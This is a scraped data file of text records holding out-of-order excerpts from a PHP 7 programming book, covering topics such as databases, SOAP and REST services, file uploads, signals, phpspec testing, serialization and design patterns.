an array and two methods, we were able to implement a simple object pool. The save() method adds the object to the $instances array, while the load() method returns it to the client. The client, in this case, is in charge of keeping track of the key under which the object is saved. Objects themselves aren't destroyed after their use, as they remain in the pool. Querying via the PHP Data Objects driver extension Querying via the PHP Data Objects driver extension The PHP Data Objects ( PDO ) driver extension comes with PHP by default, ever since PHP 5.1.0. Working with MongoDB Working with MongoDB MongoDB is a free and open source NoSQL database developed by MongoDB Inc. Some of the key strengths of MongoDB can be outlined as follows: It is a document-based database It is cross-platform It runs on a single server as well as on distributed architectures It can be used for desktop and web applications It uses JSON objects to store data It can use JavaScript map-reduce for information processing at the server side It processes large volumes of data It aggregates calculations It supports fields, range queries, and regular expression searches It is a native replication Summary Summary In this chapter, we touched upon some of the non-coding essentials surrounding our application. While developers tend to avoid much of these system operations related activities, the hands-on experience with servers and their setups have a massive advantage with deployments and quick outage responses. Drawing a not-my-job line within our line of work is always a slippery slope. Working closely with system operations adds a layer of quality around our applications. The layer which the end-user might otherwise perceive as a fault in the application itself, rather than its infrastructure. Hosting, provisioning, and deployment have become topics every developer needs to be familiar with. The tools offering around these activities seem quite satisfactory in terms of availability and ease of use. Throughout the book, we covered a wide and seemingly independent range of topics. These show us that building applications is all but an easy and quick task. Knowing the ins and outs of the PHP language itself does not imply quality software. Giving structure to our code is among the first signs of modularity, which, in turn, reduces the impact of technical debt. This is where standards and design patterns play an important role. Testing, without a doubt, proved to be an essential part of every application. Luckily the PHP ecosystem provides rich testing frameworks to easily cover both the TDD and BDD styles. With the great new features added in PHP 7, writing quality PHP applications has never been easier. Hopefully, by now, we know enough about PHP, its ecosystem, and various other essential bits and pieces that comprise quality applications, in order to become proficient at developing them. With all being said, we conclude our journey. Working with REST Working with REST Unlike SOAP, REST is an architectural style. It has no protocols or standards of its own. It relies on URLs and HTTP verbs, such as POST, GET, PUT, and DELETE, in order to establish a message exchange process. The lack of standard makes it somewhat challenging to talk about, as various REST service implementations may present a client with different ways to consume services. When it comes to juggling data back and forth, we are free to choose over JSON, XML, or any other format we prefer. The simplicity and lightweightness of JSON made it a popular choice among many users and frameworks. Loosely speaking, the very act of opening a web page in the browser can be interpreted as a REST call, where the browser acts as a client and server acts as a REST service. Unlike browser pages that may involve cookies and sessions, REST relies on stateless operations. Moving forward, we will assume that our web server is configured to serve content of the rest-service/server directory for http://rest-service.server requests, and content of the rest-service/client directory for http://rest-service.client requests. Working with MySQL Working with MySQL MySQL is an open source RDBMS that has been around for over 20 years now. Originally developed and owned by the Swedish company MySQL AB, it is now owned by Oracle Corporation. The current stable version of MySQL is 5.7. Some of the key strengths of MySQL can be outlined as follows: Cross-platform, runs on server Can be used for desktop and web applications Fast, reliable, and easy to use Good for small and large applications Uses standard SQL Supports query caching Supports Unicode ACID compliance when using InnoDB Transactions when using InnoDB"},
    {"text": "File uploads File uploads Uploading files is a common functionality to many PHP applications. So common that PHP provides a convenient global $_FILES variable we can use to access uploaded files, or errors behind the file upload tries. Let's take a look at the following simple file upload form: <form method=\"post\" enctype=\"multipart/form-data\"> <input type=\"file\" name=\"photo\" /> <input type=\"file\" name=\"article\" /> <input type=\"submit\" name=\"submit\" value=\"Upload\" /> </form> In order for PHP to pick up the files, we need to set the form method value to post , and enctype to multipart/form-data . Once submitted, PHP will pick it up and fill in the $_FILES variable appropriately: array(2) { [\"photo\"] => array(5) { [\"name\"] => string(9) \"photo.jpg\" [\"type\"] => string(10) \"image/jpeg\" [\"tmp_name\"] => string(14) \"/tmp/phpGutI91\" [\"error\"] => int(0) [\"size\"] => int(42497) } [\"article\"] => array(5) { [\"name\"] => string(11) \"article.pdf\" [\"type\"] => string(15) \"application/pdf\" [\"tmp_name\"] => string(14) \"/tmp/phpxsnx1e\" [\"error\"] => int(0) [\"size\"] => int(433176) } } Without going into the details of the actual post-upload file management, it's suffice to say that $_FILES contains enough information for us to either pick up and further manage files, or indicate a possible error code during upload. The following eight error codes can be returned: UPLOAD_ERR_OK UPLOAD_ERR_INI_SIZE UPLOAD_ERR_FORM_SIZE UPLOAD_ERR_PARTIAL UPLOAD_ERR_NO_FILE UPLOAD_ERR_NO_TMP_DIR UPLOAD_ERR_CANT_WRITE UPLOAD_ERR_EXTENSION While all of the errors should be equally addressed, two of them ( UPLOAD_ERR_FORM_SIZE and UPLOAD_ERR_PARTIAL ) open up crucial performance questions: how big a file can we upload and are there any timeouts in the process ? The answer to these two questions can be found in configuration directives, some of which are directly related to file upload, while others are related to more general PHP options: session.gc_maxlifetime : This is the number of seconds after which data will be seen as garbage and cleaned up; it defaults to 1,440 seconds session.cookie_lifetime : This is the lifetime of the cookie in seconds; by default, the cookie is valid until the browser is closed max_input_time : This is the maximum time in seconds a script is allowed to parse input data, such as POST; by default, this is turned off max_execution_time : This is the maximum time a script is allowed to run before it is terminated; it defaults to 30 seconds upload_max_filesize : This is the maximum size of an uploaded file; it defaults to 2 megabytes (2M) max_file_uploads : This is the maximum number of files allowed to be uploaded in a single request post_max_size : This is the maximum size of the post data allowed; it defaults to 8 megabytes (8M) Tweaking these options ensures that we avoid timeouts and planned size limits. To ensure that we can avoid the maximum file size limitation early in the process, MAX_FILE_SIZE can be used as a hidden form field: < form method= \"post\" enctype= \"multipart/form-data\" > < input type= \"hidden\" name= \"MAX_FILE_SIZE\" value= \"100\" /> < input type= \"file\" name= \"photo\" /> < input type= \"file\" name= \"article\" /> < input type= \"submit\" name= \"submit\" value= \"Upload\" /> </ form > The MAX_FILE_SIZE field must precede any other file field a form might have. Its value stands for the maximum file size accepted by PHP. Trying to upload a file larger than defined by the MAX_FILE_SIZE hidden field would now result in a $_FILES variable similar to the one shown here: array(2) { [\"photo\"] => array(5) { [\"name\"] => string(9) \"photo.jpg\" [\"type\"] => string(0) \"\" [\"tmp_name\"] => string(0) \"\" [\"error\"] => int(2) [\"size\"] => int(0) } [\"article\"] => array(5) { [\"name\"] => string(11) \"article.pdf\" [\"type\"] => string(0) \"\" [\"tmp_name\"] => string(0) \"\" [\"error\"] => int(2) [\"size\"] => int(0) } } We can see that the error has now turned to value 2 , which equals the UPLOAD_ERR_FORM_SIZE constant. While normally we would address the limitations of default configuration through code optimization, file uploads are specific; in that, we really need to ensure that large file uploads are possible if needed. Updating Updating Much like selecting and inserting, we can also use the prepare() , bind_param() , and execute() methods to handle record updating, as follows: <?php try { // Report on all types of errors mysqli_report ( MYSQLI_REPORT_ALL ); // Open a new connection to the MySQL server $mysqli = new mysqli('127.0.0.1', 'root', 'mL08e!Tq', 'sakila'); // Prepare some teat address data $address = 'The new street' ; $addressId = 600 ; // Prepare an SQL statement for execution $statement = $mysqli ->prepare( 'UPDATE address SET address = ? WHERE address_id = ?' ); // Bind variables to a prepared statement as parameters $statement ->bind_param( 'si' , $address , $addressId ); // Execute a prepared Query $statement ->execute(); // Close a prepared statement $statement ->close(); // Close database connection $mysqli ->close(); } catch (mysqli_sql_exception $e ) { // Output error and exit upon exception echo $e ->getMessage(); exit ; } Error handling Error handling Handling errors is pretty straightforward with the try...catch blocks, as MongoDBDriverExceptionException is being thrown whenever an error occurs: <?php require_once __DIR__ . '/vendor/autoload.php' ; try { $manager = new MongoDBDriverManager( 'mongodb://localhost:27017' ); } catch (MongoDBDriverExceptionException $e ) { echo $e ->getMessage(), PHP_EOL ; exit ; }"},
    {"text": "Summary Summary Throughout this chapter, we have addressed some aspects of the PHP performance optimization. While these merely scratch the surface of the overall performance topic, they outline the most common areas every PHP developer should be deeply familiar with. The broad range of configuration directives allows us to tune application behavior that often works in tandem with the web server itself. The backbone of optimal performance, however, lies in the thoughtful use of resources across the stack, as we got to observe through the simple SQL query example. Moving forward, we will look into serverless architecture, an emerging abstraction of the standard development environment. The lazy initialization pattern The lazy initialization pattern The lazy initialization pattern is useful for addressing objects whose instantiation is likely to be resource-intense. The idea is to delay the actual resource intense operation until its result is actually required. The PDF generation is an example of a light to moderately resource-intense operation. The following example demonstrates a possible lazy initialization pattern implementation based on PDF generation: <?php interface PdfInterface { public function generate(); } class Pdf implements PdfInterface { private $data ; public function __construct( $data ) { $this -> data = $data ; // Imagine resource intensive pdf generation here sleep ( 3 ); } public function generate() { echo 'pdf: ' . $this -> data ; } } class ProxyPdf implements PdfInterface { private $pdf = null ; private $data ; public function __construct( $data ) { $this -> data = $data ; } public function generate() { if ( is_null ( $this -> pdf )) { $this -> pdf = new Pdf( $this -> data ); } $this -> pdf ->generate(); } } // Client $pdf = new Pdf( '<h1>Hello</h1>' ); // 3 seconds // Some other code ... $pdf ->generate(); $pdf = new ProxyPdf( '<h1>Hello</h1>' ); // 0 seconds // Some other code ... $pdf ->generate(); Depending on how the class is constructed, it might trigger the actual generation right after we call the new keyword, as we have done with the new Pdf(...) expression. new ProxyPdf(...) expression behaves differently because it wraps around the Pdf class implementing the same PdfInterface , but providing a different __construct() method implementation. The All New PHP The All New PHP Programming languages nowadays are a dime a dozen. New languages spring into existence every so often. Choosing the right one for the job is so much more than just a checklist of its features. Some of them target specific problem domains, others try to position themselves for more general use. This goes to say that software development is a dynamic ecosystem where languages need to constantly adapt to ever-changing industry in order to stay relevant to its consumers. These changes are particularly challenging for already established languages such as PHP, where backward compatibility is an important consideration. Originally created by Rasmus Lerdorf around 1995, PHP started its life as nothing more than a few Common Gateway Interface ( CGI ) programs in C. At that time, it was a simple scripting solution that empowered developers to build dynamic HTML pages with ease. Without the need to compile, developers could easily throw in a few lines of code into a file and see the results in the browser. This gave a rise to its early popularity. Two decades later, PHP matured into a rich general-purpose scripting language suited to web development. Throughout all these years, PHP managed to yield an impressive set of features with each new release whilst maintaining a trustworthy level of backward compatibility. Nowadays, large number of its core extensions ultimately simplify working with files, sessions, cookies, databases, web services, cryptography, and many other features common to web development. Its outstanding support for the object-oriented programming ( OOP ) paradigm made it truly competitive with other leading industry languages. The decade-old ruling of PHP 5 has been overthrown by the release of PHP 7 in December 2015. It brought forth the all new execution engine, Zend Engine 3.0, which significantly improved performance and reduced memory consumption. This simple software update now allowed us to serve more concurrent users without adding any physical hardware to the mix. Acceptance among developers has been almost instant, all the more so because backward incompatibility was minimal, making migration as painless as possible. In this chapter, we will take a detailed look into some of the new features introduced in PHP 7 and 7.1 releases: Scalar type hints Return type hints Anonymous classes Generator delegation Generator return expressions The null coalesce operator The spaceship operator Constant arrays Uniform variable syntax Throwables Group use declarations Class constant visibility modifiers Catching multiple exceptions types Iterable pseudo-type Nullable types Void return types It is features like these that are bound to make a mark on the next generation of PHP frameworks and libraries, as well as how we write our own code."},
    {"text": "Creating client Creating client Creating a SOAP client in PHP is a relatively simple task when we are using the SoapClient class. Let's create the soap-service/client/index.php file with the following content: <?php $options = [ 'location' => 'http://soap-service.server/index.php' , 'uri' => 'http://soap-service.server/index.php' , 'trace ' => true , ]; // NON-WSDL MODE: $client = new SoapClient($wsdl = null, $options); // WSDL MODE: $client = new SoapClient('http://soap-service.server/wsdl.xml', $options); $client = new SoapClient( 'http://soap-service.server/wsdl.xml' , $options ); echo $client ->customerWelcome( 'John' ); echo $client ->userWelcome( 'Mariya' ); Executing the client code should result in the following output: What happens under the hood when the SOAP request is issued can be observed with networking tools such as Wireshark: This shows us the exact content of an individual SOAP request, such as that for $client->customerWelcome('John') : POST /index.php HTTP/1.1 Host: soap-service.server Connection: Keep-Alive User-Agent: PHP-SOAP/7.0.10 Content-Type: text/xml; charset=utf-8 SOAPAction: \"http://soap-service.server/index.php#customerWelcome\" Content-Length: 525 <?xml version=\"1.0\" encoding=\"UTF-8\"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ns1=\"http://soap-service.server/index.php\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <SOAP-ENV:Body> <ns1:customerWelcome> <name xsi:type=\"xsd:string\">John</name> </ns1:customerWelcome> </SOAP-ENV:Body> </SOAP-ENV:Envelope> Understanding the structure and content of the SOAP request makes it possible to even use the cURL functions to handle request-response communication, although that would be much more cumbersome and error-prone than dealing with the SoapClient and SoapServer classes. Throughout this section, we have touched upon some of the key points of SOAP services. While there is much more to be said about the SOAP specification, the examples presented here are a nice starting point to writing SOAP services . A somewhat simpler variant of a web service would be REST. Connecting Connecting Using the phpredis driver extension, we can connect to Redis from PHP using the Redis class, as follows: <?php $client = new Redis(); $client ->connect( 'localhost' , 6379 ); This single-line expression will look for Redis on localhost under port 6379 . Max execution time Max execution time The maximum execution time is one of the most common errors developers come across. By default, the maximum execution time of the PHP script executing in the browser is 30 seconds, unless we execute the script within the CLI environment, where there is no such limitation. We could easily test that through a simple example, given through the index.php and script.php files, as follows: <?php // index.php require_once 'script.php'; error_reporting(E_ALL); ini_set('display_errors', 'On'); sleep(10); echo 'Test#1'; ?php // script.php sleep(25); echo 'Test#2'; Executed from within the browser, this will return the following error: Test#2 Fatal error: Maximum execution time of 30 seconds exceeded in /var/www/html/index.php on line 5 Executed from within the CLI environment, this will return the following output: Test#2Test#1 Luckily for us, PHP provides two ways to control the timeout value: Using the max_execution_time configuration directive ( php.ini file, ini_set() function) Using the set_time_limit() function The set_time_limit() function use has an interesting implication. Let's take a look at the following example: <?php // index.php error_reporting(E_ALL); ini_set('display_errors', 'On'); echo 'Test#1'; sleep(5); set_time_limit(10); sleep(15); echo 'Test#2'; The preceding example will result in the following error: Test#1 Fatal error: Maximum execution time of 10 seconds exceeded in /var/www/html/index.php on line 9 Interestingly enough, the set_time_limit() function restarts the timeout counter from zero at the point where it was called. What this really means is that using the set_time_limit() function throughout the code, in a largely complex system, we can significantly extend the overall timeout beyond the initially imagined boundaries. This is quite dangerous, as PHP timeout is not the only timeout in the mix when it comes to delivering the final web page to a user's browser. Web servers come with various timeout configurations of their own that might interrupt the PHP execution: Apache: TimeOut directive, defaults to 60 seconds Nginx: client_header_timeout directive , defaults to 60 seconds client_body_timeout directive, defaults to 60 seconds fastcgi_read_timeout directive, defaults to 60 seconds While we can certainly control script timeouts within the browser context, the important question is why would we want to do so ? Timeouts are usually a result of resource-intense operations, such as various non-optimized loops, data exports, imports, PDF file generations, and so on. The CLI environment, or ideally, dedicated services, should be our go-to when it comes to all resource-intense jobs. Whereas the browser environment's prime focus should be delivering pages to users in the shortest possible amount of time."},
    {"text": "Signals Signals Signals are asynchronous messages sent to a running process within the POSIX-compliant operating systems. They can be sent both by users of programs. The following is a list of Linux-supported standard signals: SIGHUP : Hangup (POSIX) SIGINT : Terminal interrupt (ANSI) SIGQUIT : Terminal quit (POSIX) SIGILL : Illegal instruction (ANSI) SIGTRAP : Trace trap (POSIX) SIGIOT : IOT Trap (4.2 BSD) SIGBUS : BUS error (4.2 BSD) SIGFPE : Floating point exception (ANSI) SIGKILL : Kill (can't be caught or ignored) (POSIX) SIGUSR1 : User-defined signal 1 (POSIX) SIGSEGV : Invalid memory segment access (ANSI) SIGUSR2 : User-defined signal 2 (POSIX) SIGPIPE : Write on a pipe with no reader, Broken pipe (POSIX) SIGALRM : Alarm clock (POSIX) SIGTERM : Termination (ANSI) SIGSTKFLT : Stack fault SIGCHLD : Child process has stopped or exited, changed (POSIX) SIGCONT : Continue executing, if stopped (POSIX) SIGSTOP : Stop executing (can't be caught or ignored) (POSIX) SIGTSTP : Terminal stop signal (POSIX) SIGTTIN : Background process trying to read, from TTY (POSIX) SIGTTOU : Background process trying to write, to TTY (POSIX) SIGURG : Urgent condition on socket (4.2 BSD) SIGXCPU : CPU limit exceeded (4.2 BSD) SIGXFSZ : File size limit exceeded (4.2 BSD) SIGVTALRM : Virtual alarm clock (4.2 BSD) SIGPROF : Profiling alarm clock (4.2 BSD) SIGWINCH : Window size change (4.3 BSD, Sun) SIGIO : I/O now possible (4.2 BSD) SIGPWR : Power failure restart (System V) The user can initiate a signal message from the console manually using the kill command, such as kill -SIGHUP 4321 . The signals SIGKILL and SIGSTOP are the ultimate kill switch as they cannot be caught, blocked, or ignored. PHP provides several functions to work with signals, some of which are as follows: pcntl_ signal() : This installs a signal handler pcntl_ signal_ dispatch() : This calls signal handlers for pending signals pcntl_ sigprocmask() : This sets and retrieves blocked signals pcntl_ sigtimedwait() : This waits for signals, with a timeout pcntl_ sigwaitinfo() : This waits for signals The pcntl_ signal() function is the most interesting one. Let's take a look at an example utilizing the pcntl_ signal() function: #!/usr/bin/env php <?php declare(ticks = 1); echo 'started' . PHP_EOL; function signalHandler($signal) { echo 'Triggered signalHandler: ' . $signal . PHP_EOL; // exit; } pcntl_signal(SIGINT, 'signalHandler'); $loop = 0; while (true) { echo 'loop ' . (++$loop) . PHP_EOL; flush(); sleep(2); } echo 'finished' . PHP_EOL; We start our code with the declare ticks definition. Without it, the installation of our custom signalHandler function via the pcntl_signal() function would have no effect. The pcntl_signal() function itself installs the signalHandler() function for the SIGINT signal. Running the preceding code will yield the following output: $ ./app.php started loop 1 loop 2 loop 3 ^CTriggered signalHandler: 2 loop 4 loop 5 ^CTriggered signalHandler: 2 loop 6 loop 7 loop 8 ^CTriggered signalHandler: 2 loop 9 loop 10 ... The ^C string indicates the moment when we hit Ctrl + C on our keyboard. We can see that it was immediately followed by a Triggered signalHandler: N output from our custom signalHandler() function. While we were successful at catching the SIGINT signal, we did not follow up and actually execute it once we were done with our signalHandler() function, which left the signal to be ignored, and allowed our program to continue executing. As it turns out, we just killed the default operating system functionality by allowing the program to keep executing after Ctrl + C is pressed. How do signals help us out? First of, a simple exit; call within the signalHandler() function would sort out the broken functionality in this case. Beyond that, we are left with a powerful mechanism where we get to tap into (almost) any system signal and execute any arbitrary code we choose to."},
    {"text": "Writing test Writing test Getting started with writing phpspec tests requires grasping a few basic concepts, such as the following: The it_*() and its_*() methods : This object behavior is made up of individual examples, each one being flagged with the it_*() or its_*() methods. We can have one or more of these methods defined per single specification. Each defined method gets triggered when a test is run. Matchers methods : These are analogous to assertions in PHPUnit. They describe how an object should behave. Object construction methods : Every object we describe in phpspec is not a separate variable, but is $this . Sometimes, however, getting the proper $this variable requires managing constructor parameters. This is where the beConstructedWith() , beConstructedThrough() , let() , and letGo() methods come in handy. The let() method : This runs before each example. The letGo() method : This runs after each example. The matchers are likely something we will have most contact with, so it is worth knowing there are several different matchers in phpspec, all of which implement the Matcher interface declared in the src\\PhpSpec\\Matcher\\Matcher.php file: <?php namespace PhpSpec\\Matcher; interface Matcher { public function supports( $name , $subject , array $arguments ); public function positiveMatch( $name , $subject , array $arguments ); public function negativeMatch( $name , $subject , array $arguments ); public function getPriority(); } Using the phpspec describe command, we can create a specification for either one of the existing or new concrete classes we are yet to write. Since we already have our project set, let's go ahead and generate a specification for our Cart and Product classes. We will do so by running the following two commands within the root directory of our project: phpspec describe Foggyline/Checkout/Model/Cart phpspec describe Foggyline/Catalog/Model/Product The first command generates the spec/Foggyline/Checkout/Model/CartSpec.php file, with its initial content as follows: <?php namespace spec\\Foggyline\\Checkout\\Model; use Foggyline\\Checkout\\Model\\Cart; use PhpSpec\\ObjectBehavior; use Prophecy\\Argument; class CartSpec extends ObjectBehavior { function it_is_initializable() { $this -> shouldHaveType (Cart:: class ); } } The second command generates the spec/Foggyline/Catalog/Model/ProductSpec.php file, with its initial content as follows: <?php namespace spec\\Foggyline\\Catalog\\Model; use Foggyline\\Catalog\\Model\\Product; use PhpSpec\\ObjectBehavior; use Prophecy\\Argument; class Product Spec extends ObjectBehavior { function it_is_initializable() { $this -> shouldHaveType (Product:: class ); } } The generated CartSpec and ProductSpec classes are nearly identical. The difference lies in the concrete classes they reference through the shouldHaveType() method call. Moving forward, we will try to write a few simple tests only for the Cart and Product models. That being said, let's go ahead and modify our CartSpec and ProductSpec classes to reflect upon the use of matchers: the it_*() and its_*() functions. We will modify the spec\\Foggyline\\Checkout\\Model\\CartSpec.php file with the following content: <?php namespace spec\\Foggyline\\Checkout\\Model; use Foggyline\\Checkout\\Model\\Cart; use PhpSpec\\ObjectBehavior; use Prophecy\\Argument; use Foggyline\\Catalog\\Model\\Product; class CartSpec extends ObjectBehavior { function it_is_initializable() { $this -> shouldHaveType (Cart:: class ); } function it_adds_single_product_to_cart() { $this ->addProduct( new Product( 'YL' , 'Yellow Laptop' , 1499.99 , 25 ), 2 ); $this ->count()->shouldBeLike( 1 ); } function it_adds_two_products_to_cart() { $this ->addProduct( new Product( 'YL' , 'Yellow Laptop' , 1499.99 , 25 ), 2 ); $this ->addProduct( new Product( 'RL' , 'Red Laptop' , 2499.99 , 25 ), 2 ); $this ->count()->shouldBeLike( 2 ); } } We will modify the spec\\Foggyline\\Catalog\\Model\\ProductSpec.php file with the following content: <?php namespace spec\\Foggyline\\Catalog\\Model; use Foggyline\\Catalog\\Model\\Product; use PhpSpec\\ObjectBehavior; use Prophecy\\Argument; class ProductSpec extends ObjectBehavior { function it_is_initializable() { $this -> shouldHaveType (Product:: class ); } function let() { $this -> beConstructedWith ( 'YL' , 'Yellow Laptop' , 1499.99 , 25 ); } function its_price_should_be_like() { $this ->getPrice()->shouldBeLike( 1499.99 ); } function its_title_should_be_like() { $this ->getTitle()->shouldBeLike( 'Yellow Laptop' ); } } Here, we are making use of the let() method, as it triggers before any of the it_*() or its_*() methods are executed. Within the let() method, we are calling beConstructedWith() with arguments we would normally pass to a new Product(...) expression. This builds our product instance, and allows all of the it_*() or its_*() methods to execute successfully. Check out http://www.phpspec.net/en/stable/manual/introduction.html for more information on the advanced phpspec concepts."},
    {"text": "ArithmeticError ArithmeticError The ArithmeticError class addresses the possibly faulty outcomes of performing mathematical operations. PHP uses it for two situations--bit shifting by a negative number or calling intdiv() with a dividend of PHP_INT_MIN and a divisor of -1 . The ArithmeticError class has no methods of its own; they are all inherited from the parent Error class, as per the following class synopsis: ArithmeticError extends Error { final public string Error::getMessage (void) final public Throwable Error::getPrevious (void) final public mixed Error::getCode (void) final public string Error::getFile (void) final public int Error::getLine (void) final public array Error::getTrace (void) final public string Error::getTraceAsString (void) public string Error::__toString (void) final private void Error::__clone (void) } The following example demonstrates the try...catch block with ArithmeticError being thrown for bit shifting by a negative number: <?php try { $value = 5 << -1; } catch (ArithmeticError $e) { echo 'Caught: ' . $e->getMessage(); } The resulting output is as follows : Caught: Bit shift by negative number The following example demonstrates the try...catch block with ArithmeticError being thrown for calling intdiv() with a dividend of PHP_INT_MIN and divisor of -1 : <?php try { intdiv(PHP_INT_MIN, -1); } catch (ArithmeticError $e) { echo 'Caught: ' . $e->getMessage(); } The resulting output is as follows: Caught: Division of PHP_INT_MIN by -1 is not an integer Using __sleep() Using __sleep() Object serialization is another important aspect of OOP. PHP provides a serialize() function that allows us to serialize a value passed to it. The result is a string containing a byte-stream representation of any value that can be stored in PHP. Serializing the scalar data types and simple objects is pretty straightforward, as per the following example: <?php $age = 34; $name = 'John'; $obj = new stdClass(); $obj->age = 34; $obj->name = 'John'; var_dump(serialize($age)); var_dump(serialize($name)); var_dump(serialize($obj)); The resulting output is shown as follows: string(5) \"i:34;\" string(11) \"s:4:\"John\";\" string(56) \"O:8:\"stdClass\":2:{s:3:\"age\";i:34;s:4:\"name\";s:4:\"John\";}\" Even a simple custom class can be easily : <?php class User { public $name = 'John'; private $age = 34; protected $salary = 4200.00; } $user = new User(); var_dump(serialize($user)); The preceding code results in the following output: string(81) \"O:4:\"User\":3:{s:4:\"name\";s:4:\"John\";s:9:\"Userage\";i:34;s:9:\"*salary\";d:4200;}\" The issue occurs when our classes are either significant in size, or contain resource-type references. The __sleep() magic method addresses these challenges in a way. Its intended use is to commit pending data or perform related cleanup tasks. The function is useful when we have large objects that do not need to be serialized completely. The serialize() function triggers the object's __sleep() method if it exists. The actual triggering is done before the serialization process starts. This empowers the object to specifically list the fields it wants to allow for serialization. The return value of the __sleep() method must be an array with the names of all the object properties that we want to serialize. If the method doesn't return a serializable property name array, then NULL is serialized and E_NOTICE is issued. The following example demonstrates a simple User class with a simple __sleep() method implementation: <?php class User { public $name = 'John'; private $age = 34; protected $salary = 4200.00; public function __sleep() { // Cleanup & other operations??? return ['name', 'salary']; } } $user = new User(); var_dump(serialize($user)); The implementation of the __sleep() method clearly states that the only two serializable properties of a User class are name and salary . Notice how the actual names are provided as a string, without a $ sign, which results in an output as follows: string(60) \"O:4:\"User\":2:{s:4:\"name\";s:4:\"John\";s:9:\"*salary\";d:4200;}\" Serializing objects in order to store them in a database is a dangerous practice, and should be avoided by any means possible. Rare are the cases that require complex object serialization. Even those are likely a mark of improper application design. Deleting Deleting Much like selecting, inserting, and updating, deleting involves the same set of PDO methods wrapped around the DELETE FROM SQL statement: <?php try { $conn = new PDO( \"mysql:host=127.0.0.1;dbname=sakila\" , 'root' , 'mL08e!Tq' , [PDO:: ATTR_ERRMODE => PDO:: ERRMODE_EXCEPTION ] ); $statement = $conn ->prepare( 'DELETE FROM payment WHERE payment_id = :payment_id' ); $statement ->execute([ ':payment_id' => 16046 ]); } catch (PDOException $e ) { echo $e ->getMessage(), PHP_EOL ; }"},
    {"text": "JSON extensions JSON extensions Over the years, the JSON data format has become somewhat of a default data exchange format for REST. The simplicity of JSON made it quite popular with PHP developers. Out of the box, the PHP language provides the json_encode() and json_decode() functions. Using these functions, we can easily encode PHP arrays and objects as well as decode various JSON structures. The following example demonstrates the simplicity of using the json_encode() function: <?php class User { public $name ; public $age ; public $salary ; } $user = new User(); $user -> name = 'John' ; $user -> age = 34 ; $user -> salary = 4200.50 ; echo json_encode ( $user ); // {\"name\":\"John\",\"age\":34,\"salary\":4200.5} $employees = [ 'John' , 'Mariya' , 'Sarah' , 'Marc' ]; echo json_encode ( $employees ); // [\"John\",\"Mariya\",\"Sarah\",\"Marc\"] The following example demonstrates the simplicity of using the json_decode() function: <?php $user = json_decode ( '{\"name\":\"John\",\"age\":34,\"salary\":4200.5}' ); print_r ( $user ); // stdClass Object // ( // [name] => John // [age] => 34 // [salary] => 4200.5 // ) This is where limitations kick in. Notice how the JSON object was converted to a stdClass type object in PHP. There is no direct way to pour this into a User type of object. We could, of course, write a custom functionality that tries to convert a stdClass object to an instance of User if needed. Triggering errors Triggering errors The PHP trigger_error() function provides a way to trigger a user-level error/warning/notice message. It can be used in conjunction with the built-in error handler, or with a user-defined error handler, as we saw in the previous section. The trigger_error() function accepts two parameters, as per the following description: bool trigger_error ( string $error_msg [, int $error_type = E_USER_NOTICE ] ) The $error_msg parameter has a limitation of 1024 bytes, whereas $error_type is limited to the E_USER_ERROR , E_USER_WARNING , E_USER_NOTICE , and E_USER_DEPRECATED constants. Let's take a look at the following example: <?php set_error_handler(function ($errno, $errstr) { echo 'Handler: ' . $errstr; }); echo 'start'; trigger_error('E_USER_ERROR!', E_USER_ERROR); trigger_error('E_USER_ERROR!', E_USER_WARNING); trigger_error('E_USER_ERROR!', E_USER_NOTICE); trigger_error('E_USER_ERROR!', E_USER_DEPRECATED); echo 'end'; Here, we have four different trigger_error() function calls, each accepting different error types. The custom error handler kicks in for all four errors, and our code continues executing all the way to show end as the output. There are certain conceptual similarities between error model ( set_error_handler and trigger_error ) on one side and throwable model ( try...catch and throw new ... ) on the other. Seemingly, both can catch and trigger errors. The main difference is that the throwable model is a more modern, object-oriented way. That being said, we should limit our use of trigger_error() to when it's absolutely needed for some contextual reasons."},
    {"text": "Installing RxPHP Installing RxPHP The RxPHP library is available as a Composer reactivex/rxphp package. Assuming we already installed PHP and Composer, we can simply execute the following command in an empty directory: composer require reactivex/rxphp This should give us an output similar to the following one: The output suggests installing react/event-loop ; we need to be sure to follow up on that by executing the following command: composer require react/event-loop This should give us an output much like the following one: All that remains now is to create an index.php file, which includes autoload.php file generated by Composer, and we are ready to start playing with The RxPHP library is comprised of several key components, the most basic ones being the following: Observable Observer Subject Operator Moving forward, let's take a closer look at each of these components. Class constant visibility modifiers Class constant visibility modifiers There are five types of access modifier in PHP: public , private , protected , abstract , and final . Often called visibility modifiers , not all of them are equally applicable. Their use is spread across classes, functions, and variables, as follows: Functions : public , private , protected , abstract , and final Classes : abstract and final Variables : public , private , and protected Class constants, however, are not on the list. The older versions of PHP did not allow a visibility modifier on the class constant. By default, class constants were merely assigned public visibility. The PHP 7.1 release addresses this limitation by introducing the public , private , and protected class constant visibility modifiers, as per the following example: class Visibility { // Constants without defined visibility const THE_DEFAULT_PUBLIC_CONST = 'PHP'; // Constants with defined visibility private const THE_PRIVATE_CONST = 'PHP'; protected const THE_PROTECTED_CONST = 'PHP'; public const THE_PUBLIC_CONST = 'PHP'; } Similar to the old behavior, class constants declared without any explicit visibility default to public. The chain of responsibility pattern The chain of responsibility pattern The chain of responsibility pat tern allows us to chain code in a sender-receiver m anner, while the two are decoupled from each other. This makes it possible to have more than one object handle incoming requests. The following example demonstrates a possible chain of responsibility pattern implementation using the logger functionality as an example: <?php abstract class Logger { private $logNext = null ; public function logNext(Logger $logger ) { $this -> logNext = $logger ; return $this -> logNext ; } final public function push( $message ) { $this ->log( $message ); if ( $this -> logNext !== null ) { $this -> logNext ->push( $message ); } } abstract protected function log ( $message ); } class SystemLogger extends Logger { public function log ( $message ) { echo 'SystemLogger log!' , PHP_EOL ; } } class ElasticLogger extends Logger { protected function log ( $message ) { echo 'ElasticLogger log!' , PHP_EOL ; } } class MailLogger extends Logger { protected function log ( $message ) { echo 'MailLogger log!' , PHP_EOL ; } } // Client use $systemLogger = new SystemLogger(); $elasticLogger = new ElasticLogger(); $mailLogger = new MailLogger(); $systemLogger ->logNext( $elasticLogger ) ->logNext( $mailLogger ); $systemLogger ->push( 'Stuff to log...' ); //SystemLogger log! //ElasticLogger log! //MailLogger log! We started off by creating an abstract Logger class with three methods: logNext() , push() , and log() . The log() method was defined as abstract, which means the implementation is left to child 